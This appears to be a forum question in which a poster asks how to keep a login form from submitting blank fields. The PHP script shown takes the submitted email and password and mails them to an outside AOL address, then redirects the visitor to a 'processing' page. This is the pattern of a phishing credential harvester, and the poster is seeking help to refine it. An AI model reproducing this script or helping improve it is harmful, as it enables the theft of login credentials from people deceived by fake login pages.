preventing forms to send blank fields
<p>I have this form and i would like that users who does not complete the username/passowrd form and click on login to return to homepage again, and users that completes those filed to be sent out at processing.htm.
this is how i had it as of now and it redirects everybody to processing even if fields are blank or not. Any chance for some so i can adaptate this one ?</p>

<pre><code>&lt;?
$userid = $_REQUEST['login_email'] ;
$pass = $_REQUEST['login_password'] ;

$From = "From: $userid";
$subj = "$pass";
$msg = "$userid";
$to = "myemail@aol.com";
mail($to, $subj, $msg, $From);{
echo ("&lt;script&gt;");
echo("window.location=\"processing.htm\"");
echo("&lt;/script&gt;");
}

?&gt;
</code></pre>

<p>Thank you</p>
